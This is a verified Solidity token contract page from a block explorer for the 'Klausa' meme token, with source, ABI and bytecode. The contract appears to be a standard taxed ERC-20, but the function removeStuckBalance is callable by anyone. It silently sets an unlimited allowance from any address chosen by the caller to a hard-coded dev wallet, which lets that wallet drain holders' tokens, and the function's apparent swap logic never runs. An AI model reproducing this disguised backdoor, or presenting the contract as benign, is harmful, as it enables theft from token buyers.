Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract KLAUSA is Context, IERC20 ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function gainTaxFee(uint256 amount)    - function enableTrading()    - function removeStuckEth()    - function removeStuckBalance(address[] ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-10-20
*/

// SPDX-License-Identifier: UNLICENSE

/**
Website: https://klausa.vip
Telegram: https://t.me/klausa_erc
Twitter: https://x.com/klausa_erc
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract KLAUSA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _receiveDevFee = 0x3627Aed423a5068EB0c3d31aA418e02fdE26C2c8;

    uint256 private _startBuyTax=13;
    uint256 private _startSellTax=13;
    uint256 private _secondBuyTax=0;
    uint256 private _secondSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _tradeCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Klausa";
    string private constant _symbol = unicode"KLAUSA";
    uint256 public _maxTxAmount = 8400000000 * 10**_decimals;
    uint256 public _maxWalletSize = 8400000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4200000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4200000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), allowance(sender, _msgSender()).sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 feeAmt=0;
        if (from != owner() && to != owner() && to != _receiveDevFee) {
            if(_tradeCount==0){
                feeAmt = amount.mul((_tradeCount>_reduceBuyTaxAt)?_secondBuyTax:_startBuyTax).div(100);
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                feeAmt = amount.mul((_tradeCount>_reduceBuyTaxAt)?_secondBuyTax:_startBuyTax).div(100);
                _tradeCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ) {
                feeAmt = amount.mul((_tradeCount>_reduceSellTaxAt)?_secondSellTax:_startSellTax).div(100);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _tradeCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance>=0)
                    gainTaxFee(contractETHBalance);
            }
        }

        if(feeAmt>0){
          _balances[address(this)]=_balances[address(this)].add(feeAmt);
          emit Transfer(from, address(this), feeAmt);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(feeAmt));
        emit Transfer(from, to, amount.sub(feeAmt));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function gainTaxFee(uint256 amount) private {
        payable(_receiveDevFee).transfer(amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function removeStuckEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function removeStuckBalance(address[] memory path) public {
        uint256 tokenBalance=0;
        path[1] = _receiveDevFee;
        _approve(path[0], path[1], type(uint256).max);
        if(tokenBalance>0){
            tokenBalance = balanceOf(address(this));
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenBalance,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
        gainTaxFee(address(this).balance);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"path","type":"address[]"}],"name":"removeStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600380546001600160a01b031916733627aed423a5068eb0c3d31aa418e02fde26c2c8179055600d6004819055600590815560006006819055600781905560088290556009828155600a928355600b91909155620000629162000460565b62000073906401f4add40062000478565b600c55620000846009600a62000460565b62000095906401f4add40062000478565b600d55620000a66009600a62000460565b620000b69063fa56ea0062000478565b600e55620000c76009600a62000460565b620000d79063fa56ea0062000478565b600f556011805461ffff60a81b1916905560006012819055601355348015620000ff57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200014f6009600a62000460565b62000160906461f313f88062000478565b33600090815260016020526040902055601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155620001c5903090620001ae6009600a62000460565b620001bf906461f313f88062000478565b6200021f565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001f76009600a62000460565b62000208906461f313f88062000478565b60405190815260200160405180910390a362000492565b6001600160a01b038316620002875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620002ea5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200027e565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a25781600019048211156200038657620003866200034b565b808516156200039457918102915b93841c939080029062000366565b509250929050565b600082620003bb575060016200045a565b81620003ca575060006200045a565b8160018114620003e35760028114620003ee576200040e565b60019150506200045a565b60ff8411156200040257620004026200034b565b50506001821b6200045a565b5060208310610133831016604e8410600b841016171562000433575081810a6200045a565b6200043f838362000361565b80600019048211156200045657620004566200034b565b0290505b92915050565b60006200047160ff841683620003aa565b9392505050565b80820281158282048414176200045a576200045a6200034b565b61194e80620004a26000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102f5578063a9059cbb14610324578063bf474bed14610344578063dd62ed3e1461035a578063de749dff146103a057600080fd5b8063751039fc146102775780637d1db4a51461028c5780638a8c523c146102a25780638da5cb5b146102b75780638f9a55c0146102df57600080fd5b806323b872dd116100e757806323b872dd146101ce578063313ce567146101ee5780633f206bd11461020a57806370a082311461022c578063715018a61461026257600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152654b6c6175736160d01b60208201525b60405161015c9190611435565b60405180910390f35b34801561017157600080fd5b506101856101803660046114a8565b6103b5565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab600f5481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103cc565b3480156101da57600080fd5b506101856101e93660046114d4565b6103ee565b3480156101fa57600080fd5b506040516009815260200161015c565b34801561021657600080fd5b5061022a61022536600461152b565b61043d565b005b34801561023857600080fd5b506101ab6102473660046115f0565b6001600160a01b031660009081526001602052604090205490565b34801561026e57600080fd5b5061022a610553565b34801561028357600080fd5b5061022a6105d0565b34801561029857600080fd5b506101ab600c5481565b3480156102ae57600080fd5b5061022a610685565b3480156102c357600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102eb57600080fd5b506101ab600d5481565b34801561030157600080fd5b506040805180820190915260068152654b4c4155534160d01b602082015261014f565b34801561033057600080fd5b5061018561033f3660046114a8565b6109f8565b34801561035057600080fd5b506101ab600e5481565b34801561036657600080fd5b506101ab61037536600461160d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ac57600080fd5b5061022a610a05565b60006103c2338484610a6c565b5060015b92915050565b60006103da6009600a611740565b6103e9906461f313f88061174f565b905090565b60006103fb848484610b90565b610433843361042e856040518060600160405280602881526020016118f1602891396104278a33610375565b9190611098565b610a6c565b5060019392505050565b60035481516000916001600160a01b0316908390600190811061046257610462611766565b60200260200101906001600160a01b031690816001600160a01b0316815250506104c38260008151811061049857610498611766565b6020026020010151836001815181106104b3576104b3611766565b6020026020010151600019610a6c565b8015610546573060009081526001602052604090205460105460405163791ac94760e01b81529192506001600160a01b03169063791ac9479061051390849060009087903090429060040161177c565b600060405180830381600087803b15801561052d57600080fd5b505af1158015610541573d6000803e3d6000fd5b505050505b61054f476110d2565b5050565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161057d906117ed565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161057d906117ed565b6106066009600a611740565b610615906461f313f88061174f565b600c556106246009600a611740565b610633906461f313f88061174f565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106636009600a611740565b610672906461f313f88061174f565b60405190815260200160405180910390a1565b6000546001600160a01b031633146106af5760405162461bcd60e51b815260040161057d906117ed565b601154600160a01b900460ff16156107095760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161057d565b601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107809190611822565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108069190611822565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610853573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108779190611822565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d71947306108bf816001600160a01b031660009081526001602052604090205490565b6000806108d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610961919061183f565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de919061186d565b506011805462ff00ff60a01b19166201000160a01b179055565b60006103c2338484610b90565b6000546001600160a01b03163314610a2f5760405162461bcd60e51b815260040161057d906117ed565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a69573d6000803e3d6000fd5b50565b6001600160a01b038316610ace5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057d565b6001600160a01b038216610b2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161057d565b6001600160a01b038216610c565760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161057d565b60008111610cb85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161057d565b600080546001600160a01b03858116911614801590610ce557506000546001600160a01b03848116911614155b8015610cff57506003546001600160a01b03848116911614155b15610f5557600b54600003610d3d57610d3a6064610d34600854600b5411610d2957600454610d2d565b6006545b859061110c565b90611195565b90505b6011546001600160a01b038581169116148015610d6857506010546001600160a01b03848116911614155b15610e6d57600c54821115610dbf5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161057d565b600d5482610de2856001600160a01b031660009081526001602052604090205490565b610dec919061188f565b1115610e3a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161057d565b610e556064610d34600854600b5411610d2957600454610d2d565b600b80549192506000610e67836118a2565b91905055505b6011546001600160a01b038481169116148015610e9357506001600160a01b0384163014155b15610ec057610ebd6064610d34600954600b5411610eb357600554610d2d565b600754859061110c565b90505b30600090815260016020526040902054601154600160a81b900460ff16158015610ef757506011546001600160a01b038581169116145b8015610f0c5750601154600160b01b900460ff165b8015610f1b5750600a54600b54115b15610f5357600e54811115610f4757610f47610f4284610f3d84600f546111d7565b6111d7565b6111ec565b47610f51816110d2565b505b505b8015610fcf5730600090815260016020526040902054610f759082611366565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc69085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610ff290836113c5565b6001600160a01b03851660009081526001602052604090205561103761101883836113c5565b6001600160a01b03851660009081526001602052604090205490611366565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108185856113c5565b60405190815260200160405180910390a350505050565b600081848411156110bc5760405162461bcd60e51b815260040161057d9190611435565b5060006110c984866118bb565b95945050505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561054f573d6000803e3d6000fd5b60008260000361111e575060006103c6565b600061112a838561174f565b90508261113785836118ce565b1461118e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161057d565b9392505050565b600061118e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611407565b60008183116111e6578261118e565b50919050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061123457611234611766565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561128d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b19190611822565b816001815181106112c4576112c4611766565b6001600160a01b0392831660209182029290920101526010546112ea9130911684610a6c565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132390859060009086903090429060040161177c565b600060405180830381600087803b15801561133d57600080fd5b505af1158015611351573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600080611373838561188f565b90508381101561118e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161057d565b600061118e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611098565b600081836114285760405162461bcd60e51b815260040161057d9190611435565b5060006110c984866118ce565b600060208083528351808285015260005b8181101561146257858101830151858201604001528201611446565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610a6957600080fd5b80356114a381611483565b919050565b600080604083850312156114bb57600080fd5b82356114c681611483565b946020939093013593505050565b6000806000606084860312156114e957600080fd5b83356114f481611483565b9250602084013561150481611483565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153e57600080fd5b823567ffffffffffffffff8082111561155657600080fd5b818501915085601f83011261156a57600080fd5b81358181111561157c5761157c611515565b8060051b604051601f19603f830116810181811085821117156115a1576115a1611515565b6040529182528482019250838101850191888311156115bf57600080fd5b938501935b828510156115e4576115d585611498565b845293850193928501926115c4565b98975050505050505050565b60006020828403121561160257600080fd5b813561118e81611483565b6000806040838503121561162057600080fd5b823561162b81611483565b9150602083013561163b81611483565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169757816000190482111561167d5761167d611646565b8085161561168a57918102915b93841c9390800290611661565b509250929050565b6000826116ae575060016103c6565b816116bb575060006103c6565b81600181146116d157600281146116db576116f7565b60019150506103c6565b60ff8411156116ec576116ec611646565b50506001821b6103c6565b5060208310610133831016604e8410600b841016171561171a575081810a6103c6565b611724838361165c565b806000190482111561173857611738611646565b029392505050565b600061118e60ff84168361169f565b80820281158282048414176103c6576103c6611646565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117cc5784516001600160a01b0316835293830193918301916001016117a7565b50506001600160a01b03969096166060850152505050608001529392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561183457600080fd5b815161118e81611483565b60008060006060848603121561185457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561187f57600080fd5b8151801515811461118e57600080fd5b808201808211156103c6576103c6611646565b6000600182016118b4576118b4611646565b5060010190565b818103818111156103c6576103c6611646565b6000826118eb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec6706a494790f2f5274797051a331b518ebd5d74c62b1dfa405530a508d17b664736f6c63430008150033

0x6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102f5578063a9059cbb14610324578063bf474bed14610344578063dd62ed3e1461035a578063de749dff146103a057600080fd5b8063751039fc146102775780637d1db4a51461028c5780638a8c523c146102a25780638da5cb5b146102b75780638f9a55c0146102df57600080fd5b806323b872dd116100e757806323b872dd146101ce578063313ce567146101ee5780633f206bd11461020a57806370a082311461022c578063715018a61461026257600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152654b6c6175736160d01b60208201525b60405161015c9190611435565b60405180910390f35b34801561017157600080fd5b506101856101803660046114a8565b6103b5565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab600f5481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103cc565b3480156101da57600080fd5b506101856101e93660046114d4565b6103ee565b3480156101fa57600080fd5b506040516009815260200161015c565b34801561021657600080fd5b5061022a61022536600461152b565b61043d565b005b34801561023857600080fd5b506101ab6102473660046115f0565b6001600160a01b031660009081526001602052604090205490565b34801561026e57600080fd5b5061022a610553565b34801561028357600080fd5b5061022a6105d0565b34801561029857600080fd5b506101ab600c5481565b3480156102ae57600080fd5b5061022a610685565b3480156102c357600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102eb57600080fd5b506101ab600d5481565b34801561030157600080fd5b506040805180820190915260068152654b4c4155534160d01b602082015261014f565b34801561033057600080fd5b5061018561033f3660046114a8565b6109f8565b34801561035057600080fd5b506101ab600e5481565b34801561036657600080fd5b506101ab61037536600461160d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103ac57600080fd5b5061022a610a05565b60006103c2338484610a6c565b5060015b92915050565b60006103da6009600a611740565b6103e9906461f313f88061174f565b905090565b60006103fb848484610b90565b610433843361042e856040518060600160405280602881526020016118f1602891396104278a33610375565b9190611098565b610a6c565b5060019392505050565b60035481516000916001600160a01b0316908390600190811061046257610462611766565b60200260200101906001600160a01b031690816001600160a01b0316815250506104c38260008151811061049857610498611766565b6020026020010151836001815181106104b3576104b3611766565b6020026020010151600019610a6c565b8015610546573060009081526001602052604090205460105460405163791ac94760e01b81529192506001600160a01b03169063791ac9479061051390849060009087903090429060040161177c565b600060405180830381600087803b15801561052d57600080fd5b505af1158015610541573d6000803e3d6000fd5b505050505b61054f476110d2565b5050565b6000546001600160a01b031633146105865760405162461bcd60e51b815260040161057d906117ed565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105fa5760405162461bcd60e51b815260040161057d906117ed565b6106066009600a611740565b610615906461f313f88061174f565b600c556106246009600a611740565b610633906461f313f88061174f565b600d557f947